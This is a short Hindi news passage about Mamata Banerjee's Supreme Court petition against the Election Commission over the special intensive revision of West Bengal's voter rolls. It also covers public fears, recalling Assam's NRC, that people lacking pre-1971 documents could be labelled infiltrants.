सुप्रीम कोर्ट तक पहुंचा मामला: मुख्यमंत्री ममता बनर्जी ने खुद इस मामले में चुनाव आयोग के खिलाफ सुप्रीम कोर्ट में एक याचिका दायर की है, जिसमें SIR प्रक्रिया की निष्पक्षता पर सवाल उठाए गए हैं।

इससे एक दिन पहले पश्चिम बंगाल की मुख्यमंत्री ममता बनर्जी ने उच्चतम न्यायालय से मतदाता सूची के विशेष गहन पुनरीक्षण (एसआईआर) की जारी कवायद में हस्तक्षेप करने का आग्रह किया ताकि 'लोकतंत्र की रक्षा की जा सके।' उन्होंने आरोप लगाया कि राज्य को निशाना बनाया जा रहा है और इसके लोगों के अधिकारों का हनन किया जा रहा है। ममता बनर्जी बुधवार को उच्चतम न्यायालय में बहस करने वाली पहली मौजूदा मुख्यमंत्री बन गईं।

SIR क्या है और डर क्यों है?
SIR चुनाव आयोग की एक नियमित प्रक्रिया है जिसके तहत मतदाता सूची को अपडेट किया जाता है। हालांकि, बंगाल में विपक्ष और सरकार के बीच चल रहे टकराव के कारण यह एक संवेदनशील मुद्दा बन गया है। लोगों में डर है कि अगर उनके पास 1971 या पुराने दस्तावेज नहीं हुए, तो उन्हें अवैध घुसपैठिया घोषित कर दिया जाएगा, जैसा कि असम में NRC के दौरान देखने को मिला था। हालांकि चुनाव आयोग के अपने तर्क हैं।

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